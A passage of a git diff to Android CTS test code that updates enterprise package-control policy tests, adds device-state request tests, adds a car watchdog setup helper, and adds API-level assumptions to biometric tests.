-import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.stats.devicepolicy.EventId;
 import android.util.Log;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
 import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
 import com.android.bedstead.harrier.policies.UserControlDisabledPackages;
+import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
 import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppActivityReference;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
+import com.android.queryable.queries.StringQuery;
 
 import org.junit.ClassRule;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -53,17 +59,17 @@
 import java.util.List;
 
 @RunWith(BedsteadJUnit4.class)
-public class UserControlDisabledPackagesTest {
+public final class UserControlDisabledPackagesTest {
     private static final String TAG = "UserControlDisabledPackagesTest";
 
-    private static final TestApis sTestApis = new TestApis();
     private static final TestAppProvider sTestAppProvider = new TestAppProvider();
-    private static final TestApp sTestApp = sTestAppProvider.any();
+    private static final TestApp sTestApp =
+            sTestAppProvider.query().whereActivities().isNotEmpty().get();
 
     private static final ActivityManager sActivityManager =
-            sTestApis.context().instrumentedContext().getSystemService(ActivityManager.class);
+            TestApis.context().instrumentedContext().getSystemService(ActivityManager.class);
     private static final PackageManager sPackageManager =
-            sTestApis.context().instrumentedContext().getPackageManager();
+            TestApis.context().instrumentedContext().getPackageManager();
 
     private static final String PACKAGE_NAME = "com.android.foo.bar.baz";
 
@@ -72,121 +78,152 @@
     public static final DeviceState sDeviceState = new DeviceState();
 
     @Test
+    @CanSetPolicyTest(policy = UserControlDisabledPackages.class)
     @Postsubmit(reason = "New test")
+    public void setUserControlDisabledPackages_verifyMetricIsLogged() {
+        List<String> originalDisabledPackages =
+                sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+                        DPC_COMPONENT_NAME);
+
+        try (EnterpriseMetricsRecorder metrics = EnterpriseMetricsRecorder.create()) {
+            sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+                    DPC_COMPONENT_NAME,
+                    Arrays.asList(PACKAGE_NAME));
+
+            assertThat(metrics.query()
+                    .whereType().isEqualTo(EventId.SET_USER_CONTROL_DISABLED_PACKAGES_VALUE)
+                    .whereAdminPackageName().isEqualTo(
+                            sDeviceState.dpc().componentName().getPackageName())
+                    .whereStrings().contains(
+                            StringQuery.string().isEqualTo(PACKAGE_NAME))).wasLogged();
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+                    DPC_COMPONENT_NAME,
+                    originalDisabledPackages);
+        }
+    }
+
+    @Test
     @PositivePolicyTest(policy = UserControlDisabledPackages.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setUserControlDisabledPackages_toOneProtectedPackage() {
         List<String> originalDisabledPackages =
-                sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages();
+                sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+                        DPC_COMPONENT_NAME);
 
-        sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+        sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
                 Arrays.asList(PACKAGE_NAME));
         try {
-            assertThat(sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages())
+            assertThat(sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+                    DPC_COMPONENT_NAME))
                     .containsExactly(PACKAGE_NAME);
         } finally {
             sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+                    DPC_COMPONENT_NAME,
                     originalDisabledPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = UserControlDisabledPackages.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setUserControlDisabledPackages_toEmptyProtectedPackages() {
         List<String> originalDisabledPackages =
-                sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages();
+                sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+                        DPC_COMPONENT_NAME);
 
-        sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+        sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
                 Collections.emptyList());
         try {
             assertThat(
-                    sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages()).isEmpty();
+                    sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+                            DPC_COMPONENT_NAME)).isEmpty();
         } finally {
             sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+                    DPC_COMPONENT_NAME,
                     originalDisabledPackages);
         }
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @CannotSetPolicyTest(policy = UserControlDisabledPackages.class)
     public void setUserControlDisabledPackages_notAllowedToSetProtectedPackages_throwsException() {
         assertThrows(SecurityException.class,
                 () -> sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+                        DPC_COMPONENT_NAME,
                         Collections.emptyList()));
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = UserControlDisabledPackages.class)
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void
     getUserControlDisabledPackages_noProtectedPackagesSet_returnsEmptyProtectedPackages() {
         // This is testing the default state of the device so the disabled packages returned should
         // be empty.
-        assertThat(sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages())
+        assertThat(sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+                DPC_COMPONENT_NAME))
                 .isEmpty();
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @CannotSetPolicyTest(policy = UserControlDisabledPackages.class)
     public void
     getUserControlDisabledPackages_notAllowedToRetrieveProtectedPackages_throwsException() {
         assertThrows(SecurityException.class,
-                () -> sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages());
+                () -> sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+                        DPC_COMPONENT_NAME));
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @EnsureHasPermission(value = permission.FORCE_STOP_PACKAGES)
     @PositivePolicyTest(policy = UserControlDisabledPackages.class)
-    @Ignore // TODO(b/189325405): Re-enable once secondary users can start activities
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void setUserControlDisabledPackages_launchActivity_verifyPackageNotStopped()
             throws Exception {
         List<String> originalDisabledPackages =
-                sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages();
-        UserReference currentRunningUserOnTest = sTestApis.users().instrumented();
-        int currentRunningUserId = currentRunningUserOnTest.id();
+                sDeviceState.dpc().devicePolicyManager().getUserControlDisabledPackages(
+                        DPC_COMPONENT_NAME);
         String testAppPackageName = sTestApp.packageName();
 
-        sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+        sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
                 Arrays.asList(testAppPackageName));
-        try (TestAppInstanceReference instance = sTestApp.install(currentRunningUserOnTest)) {
+        try (TestAppInstance instance = sTestApp.install()) {
             instance.activities().any().start();
 
-            sActivityManager.forceStopPackageAsUser(testAppPackageName, currentRunningUserId);
+            sActivityManager.forceStopPackage(testAppPackageName);
 
             try {
-                assertPackageStopped(
-                        testAppPackageName, currentRunningUserId, /* stopped= */ false);
+                assertPackageNotStopped(testAppPackageName);
             } finally {
-                stopPackage(testAppPackageName, currentRunningUserId);
+                stopPackage(sTestApp.pkg());
             }
         } finally {
             sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+                    DPC_COMPONENT_NAME,
                     originalDisabledPackages);
         }
     }
 
-    private void stopPackage(String packageName, int userId) throws Exception {
-        sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(
+    private void stopPackage(Package pkg) throws Exception {
+        sDeviceState.dpc().devicePolicyManager().setUserControlDisabledPackages(DPC_COMPONENT_NAME,
                 Collections.emptyList());
-        sActivityManager.forceStopPackageAsUser(packageName, userId);
-        assertPackageStopped(packageName, userId, /* stopped= */ true);
+
+        pkg.forceStop();
     }
 
-    private void assertPackageStopped(String packageName, int userId, boolean stopped)
+    private void assertPackageNotStopped(String packageName)
             throws Exception {
-        assertWithMessage("Package %s stopped for user %s", packageName, userId)
-                .that(isPackageStopped(packageName, userId)).isEqualTo(stopped);
+        assertWithMessage("Package %s not stopped for", packageName)
+                .that(isPackageStopped(packageName)).isFalse();
     }
 
-    private boolean isPackageStopped(String packageName, int userId) throws Exception {
-        PackageInfo packageInfo = sPackageManager.getPackageInfoAsUser(
-                packageName, PackageManager.GET_META_DATA, userId);
-        boolean stopped = (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
-                == ApplicationInfo.FLAG_STOPPED;
-        Log.i(TAG, "Application flags for " + packageName + " on user " + userId + " = "
+    private boolean isPackageStopped(String packageName) throws Exception {
+        PackageInfo packageInfo =
+                sPackageManager.getPackageInfo(packageName, PackageManager.GET_META_DATA);
+        boolean stopped = (packageInfo.applicationInfo.flags & FLAG_STOPPED)
+                == FLAG_STOPPED;
+        Log.i(TAG, "Application flags for " + packageName + " = "
                 + Integer.toHexString(packageInfo.applicationInfo.flags) + ". Stopped: " + stopped);
         return stopped;
     }
diff --git a/tests/devicestate/Android.bp b/tests/devicestate/Android.bp
index 568e360..a2c2523 100644
--- a/tests/devicestate/Android.bp
+++ b/tests/devicestate/Android.bp
@@ -24,6 +24,7 @@
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "mockito-target-minus-junit4",
+        "cts-wm-util"
     ],
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
diff --git a/tests/devicestate/AndroidManifest.xml b/tests/devicestate/AndroidManifest.xml
index e3ed8d1..baf6d9b 100644
--- a/tests/devicestate/AndroidManifest.xml
+++ b/tests/devicestate/AndroidManifest.xml
@@ -20,6 +20,8 @@
 
     <application>
         <uses-library android:name="android.test.runner"/>
+
+        <activity android:name=".DeviceStateTestActivity" android:exported="true"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
index 95b7d9f..c1815b9 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
@@ -26,6 +26,8 @@
 
 import android.hardware.devicestate.DeviceStateManager;
 import android.hardware.devicestate.DeviceStateRequest;
+import android.server.wm.ActivityManagerTestBase;
+
 import androidx.annotation.CallSuper;
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
@@ -47,7 +49,7 @@
  * Abstract base class for {@link DeviceStateManager} CTS tests.
  */
 @RunWith(AndroidJUnit4.class)
-public abstract class DeviceStateManagerTestBase {
+public abstract class DeviceStateManagerTestBase extends ActivityManagerTestBase {
     static final int CALLBACK_TIMEOUT_MS = 1000;
 
     private DeviceStateManager mDeviceStateManager;
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
index f67c5cd..4c5eaa5 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
@@ -20,7 +20,9 @@
 import static android.hardware.devicestate.cts.DeviceStateUtils.runWithControlDeviceStatePermission;
 import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
 import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
+import static android.view.Display.DEFAULT_DISPLAY;
 
+import static org.junit.Assert.assertFalse;
 import static org.mockito.Mockito.atLeastOnce;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.timeout;
@@ -33,13 +35,20 @@
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import org.junit.runner.RunWith;
 import org.junit.Test;
 import org.mockito.ArgumentCaptor;
 
+import java.util.concurrent.Executor;
+
 /** CTS tests for {@link DeviceStateManager} API(s). */
 @RunWith(AndroidJUnit4.class)
 public class DeviceStateManagerTests extends DeviceStateManagerTestBase {
+
+    public static final int TIMEOUT = 2000;
+
     /**
      * Tests that {@link DeviceStateManager#getSupportedStates()} returns at least one state and
      * that none of the returned states are in the range
@@ -108,6 +117,91 @@
     }
 
     /**
+     * Tests that calling {@link DeviceStateManager#requestState(DeviceStateRequest, Executor,
+     * DeviceStateRequest.Callback)} is successful and results in a registered callback being
+     * triggered with a value equal to the requested state.
+     */
+    @Test
+    public void testRequestStateSucceedsAsTopApp() throws IllegalArgumentException {
+        final DeviceStateManager manager = getDeviceStateManager();
+        final int[] supportedStates = manager.getSupportedStates();
+        // We want to verify that the app can change device state
+        // So we only attempt if there are more than 1 possible state.
+        if (supportedStates.length < 2) {
+            return;
+        }
+        final StateTrackingCallback callback = new StateTrackingCallback();
+        manager.registerCallback(Runnable::run, callback);
+        PollingCheck.waitFor(TIMEOUT, () -> callback.mCurrentState != -1);
+        final TestActivitySession<DeviceStateTestActivity> activitySession =
+                createManagedTestActivitySession();
+
+        activitySession.launchTestActivityOnDisplaySync(
+                DeviceStateTestActivity.class,
+                DEFAULT_DISPLAY
+        );
+
+        DeviceStateTestActivity activity = activitySession.getActivity();
+
+        int newState = determineNewState(callback.mCurrentState, supportedStates);
+        activity.requestDeviceStateChange(newState);
+
+        PollingCheck.waitFor(TIMEOUT, () -> callback.mCurrentState == newState);
+
+        assertEquals(newState, callback.mCurrentState);
+        assertFalse(activity.requestStateFailed);
+    }
+
+    /**
+     * Tests that calling {@link DeviceStateManager#requestState} is unsuccessful and results in a
+     * failure to update the state of the device as expected since the activity is backgrounded.
+     */
+    @Test
+    public void testRequestStateFailsAsBackgroundApp() throws IllegalArgumentException {
+        final DeviceStateManager manager = getDeviceStateManager();
+        final int[] supportedStates = manager.getSupportedStates();
+        // We want to verify that the app can change device state
+        // So we only attempt if there are more than 1 possible state.
+        if (supportedStates.length < 2) {
+            return;
+        }
+        final StateTrackingCallback callback = new StateTrackingCallback();
+        manager.registerCallback(Runnable::run, callback);
+        PollingCheck.waitFor(TIMEOUT, () -> callback.mCurrentState != -1);
+
+        final TestActivitySession<DeviceStateTestActivity> activitySession =
+                createManagedTestActivitySession();
+        activitySession.launchTestActivityOnDisplaySync(
+                DeviceStateTestActivity.class,
+                DEFAULT_DISPLAY
+        );
+
+        DeviceStateTestActivity activity = activitySession.getActivity();
+        assertFalse(activity.requestStateFailed);
+
+        launchHomeActivity(); // places our test activity in the background
+
+        int requestedState = determineNewState(callback.mCurrentState, supportedStates);
+        activity.requestDeviceStateChange(requestedState);
+
+        assertTrue(activity.requestStateFailed);
+    }
+
+    // determine what state we should request that isn't the current state
+    // throws an IllegalArgumentException if there is no unique states available
+    // in the list of supported states
+    private static int determineNewState(int currentState, int[] states)
+            throws IllegalArgumentException {
+        for (int state : states) {
+            if (state != currentState) {
+                return state;
+            }
+        }
+        throw new IllegalArgumentException(
+                "No unique supported states besides our current state were found");
+    }
+
+    /**
      * Tests that calling {@link DeviceStateManager#requestState()} throws a
      * {@link java.lang.SecurityException} without the
      * {@link android.Manifest.permission.CONTROL_DEVICE_STATE} permission held.
@@ -165,4 +259,13 @@
             assertValidState(state);
         }
     }
+
+    private class StateTrackingCallback implements  DeviceStateManager.DeviceStateCallback {
+        private int mCurrentState = - 1;
+
+        @Override
+        public void onStateChanged(int state) {
+            mCurrentState = state;
+        }
+    }
 }
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateTestActivity.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateTestActivity.java
new file mode 100644
index 0000000..b01b749
--- /dev/null
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateTestActivity.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.devicestate.cts;
+
+import android.app.Activity;
+import android.hardware.devicestate.DeviceStateManager;
+import android.hardware.devicestate.DeviceStateRequest;
+
+/**
+ * This is an activity that can request device state changes via
+ * {@link DeviceStateManager#requestState}.
+ *
+ * @see {@link DeviceStateManagerTests#testRequestStateFailsAsBackgroundApp}
+ * @see {@link DeviceStateManagerTests#testRequestStateSucceedsAsTopApp}
+ */
+public class DeviceStateTestActivity extends Activity {
+
+    public boolean requestStateFailed = false;
+
+    public void requestDeviceStateChange(int state) {
+        DeviceStateManager deviceStateManager = getSystemService(DeviceStateManager.class);
+        DeviceStateRequest request = DeviceStateRequest.newBuilder(state).build();
+        try {
+            deviceStateManager.requestState(request, null, null);
+        } catch (SecurityException e) {
+            requestStateFailed = true;
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
index 1e2fc7c..48631b3 100644
--- a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
@@ -58,6 +58,7 @@
 
     @Before
     public void setUp() throws Exception {
+        CarTestUtil.getInstance().setUp();
         if (mDiskFilled.compareAndSet(false, true)) {
             Log.i(TAG, "Filling disk");
             // initial fill done in two stage as disk can be filled by other
@@ -90,6 +91,7 @@
 
     @After
     public void tearDown() throws Exception {
+        CarTestUtil.getInstance().tearDown();
         Log.i(TAG, "tearDown free disk " + SystemUtil.getFreeDiskSize(getContext()));
         int currentCounter = mRefCounter.decrementAndGet();
         Log.i(TAG, "--currentCounter: " + currentCounter);
diff --git a/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java b/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java
new file mode 100644
index 0000000..168d26f
--- /dev/null
+++ b/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.filesystem.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+
+final class CarTestUtil {
+    private static final String ANDROID_FILESYSTEM_CTS_PKG_NAME = "android.filesystem.cts";
+    private static final String SET_CTS_PKG_AS_NOT_KILLABLE_COMMAND =
+            "cmd car_service watchdog-control-package-killable-state false "
+            + ANDROID_FILESYSTEM_CTS_PKG_NAME;
+    private static final String SET_CTS_PKG_AS_KILLABLE_COMMAND =
+            "cmd car_service watchdog-control-package-killable-state true "
+            + ANDROID_FILESYSTEM_CTS_PKG_NAME;
+
+    private static final String PERMISSION_USE_CAR_WATCHDOG =
+            "android.car.permission.USE_CAR_WATCHDOG";
+
+    private static CarTestUtil sInstance;
+
+    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+    private final boolean mIsAutomotive;
+    private final boolean mIsInstantApp;
+
+    private CarTestUtil() {
+        mIsAutomotive = mContext.getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+        mIsInstantApp = mContext.getPackageManager().isInstantApp();
+    }
+
+    public static CarTestUtil getInstance() {
+        if (sInstance == null) {
+            sInstance = new CarTestUtil();
+        }
+        return sInstance;
+    }
+
+    public void setUp() throws Exception {
+        if (mIsAutomotive) {
+            assumeFalse("For automotive, instant app is skipped", mIsInstantApp);
+            setCtsPackageAsNotKillable();
+        }
+    }
+
+    public void tearDown() throws Exception {
+        if (mIsAutomotive) {
+            setCtsPackageAsKillable();
+        }
+    }
+
+    protected void setCtsPackageAsNotKillable() throws Exception {
+        executeShellCommandWithPermission(SET_CTS_PKG_AS_NOT_KILLABLE_COMMAND,
+                PERMISSION_USE_CAR_WATCHDOG);
+    }
+
+    protected void setCtsPackageAsKillable() throws Exception {
+        executeShellCommandWithPermission(SET_CTS_PKG_AS_KILLABLE_COMMAND,
+                PERMISSION_USE_CAR_WATCHDOG);
+    }
+
+    protected static void executeShellCommandWithPermission(String command, String permission)
+            throws IOException {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity(permission);
+            SystemUtil.runShellCommand(uiAutomation, command);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+}
diff --git a/tests/fragment/AndroidTest.xml b/tests/fragment/AndroidTest.xml
index d8264bd..80700c3 100644
--- a/tests/fragment/AndroidTest.xml
+++ b/tests/fragment/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFragmentTestCases.apk" />
diff --git a/tests/fragment/sdk26/AndroidTest.xml b/tests/fragment/sdk26/AndroidTest.xml
index c2cd6a4..eedf97b 100644
--- a/tests/fragment/sdk26/AndroidTest.xml
+++ b/tests/fragment/sdk26/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFragmentTestCasesSdk26.apk" />
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
index cf8010c..07d6cc8 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
@@ -51,6 +51,7 @@
 
     @Test
     public void testBiometricOnly_authenticateFromForegroundActivity() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         for (SensorProperties prop : mSensorProperties) {
             if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
                 continue;
@@ -103,6 +104,7 @@
 
     @Test
     public void testBiometricOnly_rejectThenErrorFromForegroundActivity() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         for (SensorProperties prop : mSensorProperties) {
             if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
                 continue;
@@ -169,6 +171,7 @@
 
     @Test
     public void testBiometricOnly_rejectThenAuthenticate() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         for (SensorProperties prop : mSensorProperties) {
             if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
                 continue;
@@ -236,6 +239,7 @@
 
     @Test
     public void testBiometricOnly_negativeButtonInvoked() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         for (SensorProperties prop : mSensorProperties) {
             if (prop.getSensorStrength() == SensorProperties.STRENGTH_CONVENIENCE) {
                 continue;
@@ -284,6 +288,7 @@
     @Test
     public void testBiometricOrCredential_credentialButtonInvoked_biometricEnrolled()
             throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         // Test behavior for each sensor when biometrics are enrolled
         try (CredentialSession credentialSession = new CredentialSession()) {
             credentialSession.setCredential();
@@ -307,6 +312,7 @@
     @Test
     public void testBiometricOrCredential_credentialButtonInvoked_biometricNotEnrolled()
             throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         // Test behavior for each sensor when biometrics are not enrolled
         try (CredentialSession credentialSession = new CredentialSession()) {
             credentialSession.setCredential();
@@ -326,6 +332,7 @@
     @Test
     public void testBiometricOrCredential_credentialButtonInvoked_noBiometricSensor()
             throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         assumeTrue(mSensorProperties.isEmpty());
         try (CredentialSession credentialSession = new CredentialSession()) {
             credentialSession.setCredential();
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCryptoTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCryptoTests.java
index baa3bd2..2d66100 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCryptoTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCryptoTests.java
@@ -17,6 +17,7 @@
 package android.server.biometrics;
 
 import static org.junit.Assert.assertThrows;
+import static org.junit.Assume.assumeTrue;
 
 import android.hardware.biometrics.BiometricPrompt;
 import android.hardware.biometrics.BiometricTestSession;
@@ -38,6 +39,7 @@
 
     @Test
     public void testGenerateKeyWithoutDeviceCredential_throwsException() {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         assertThrows("Key shouldn't be generatable before device credentials are enrolled",
                 Exception.class,
                 () -> Utils.generateBiometricBoundKey("keyBeforeCredentialEnrolled",
@@ -47,6 +49,7 @@
     @Test
     public void testGenerateKeyWithoutBiometricEnrolled_throwsInvalidAlgorithmParameterException()
             throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         try (CredentialSession session = new CredentialSession()){
             session.setCredential();
             assertThrows("Key shouldn't be generatable before biometrics are enrolled",
@@ -58,6 +61,7 @@
 
     @Test
     public void testGenerateKeyWhenCredentialAndBiometricEnrolled() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         try (CredentialSession credentialSession = new CredentialSession()) {
             credentialSession.setCredential();
 
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
index 9b30fa6..b5f3760 100644
--- a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricSecurityTests.java
@@ -76,6 +76,7 @@
      */
     @Test
     public void testBiometricStrength_StrongSensor() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final List<Integer> sensors = getSensorsOfTargetStrength(SensorProperties.STRENGTH_STRONG);
         assumeTrue("testBiometricStrength_StrongSensor: numSensors=" + sensors.size(),
                 sensors.size() > 0);
@@ -113,6 +114,7 @@
      */
     @Test
     public void testBiometricStrength_WeakSensor() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final List<Integer> sensors = getSensorsOfTargetStrength(SensorProperties.STRENGTH_WEAK);
         assumeTrue("testBiometricStrength_WeakSensor: numSensors: " + sensors.size(),
                 sensors.size() > 0);
@@ -144,6 +146,7 @@
      */
     @Test
     public void testBiometricStrength_ConvenienceSensor() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final List<Integer> sensors =
                 getSensorsOfTargetStrength(SensorProperties.STRENGTH_CONVENIENCE);
         assumeTrue("testBiometricStrength_ConvenienceSensor: numSensors=" + sensors.size(),
@@ -277,6 +280,7 @@
      */
     @Test
     public void testBiometricStrengthDowngraded_StrongSensor() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final List<Integer> sensors = getSensorsOfTargetStrength(SensorProperties.STRENGTH_STRONG);
         assumeTrue("testBiometricStrengthDowngraded_StrongSensor: numSensors=" + sensors.size(),
                 sensors.size() > 0);
@@ -325,6 +329,7 @@
      */
     @Test
     public void testBiometricStrengthDowngraded_WeakSensor() throws Exception {
+        assumeTrue(Utils.isFirstApiLevel29orGreater());
         final List<Integer> sensors = getSensorsOfTargetStrength(SensorProperties.STRENGTH_WEAK);
         assumeTrue("testBiometricStrengthDowngraded_WeakSensor: numSensors: " + sensors.size(),
                 sensors.size() > 0);
@@ -439,6 +444,7 @@
      */
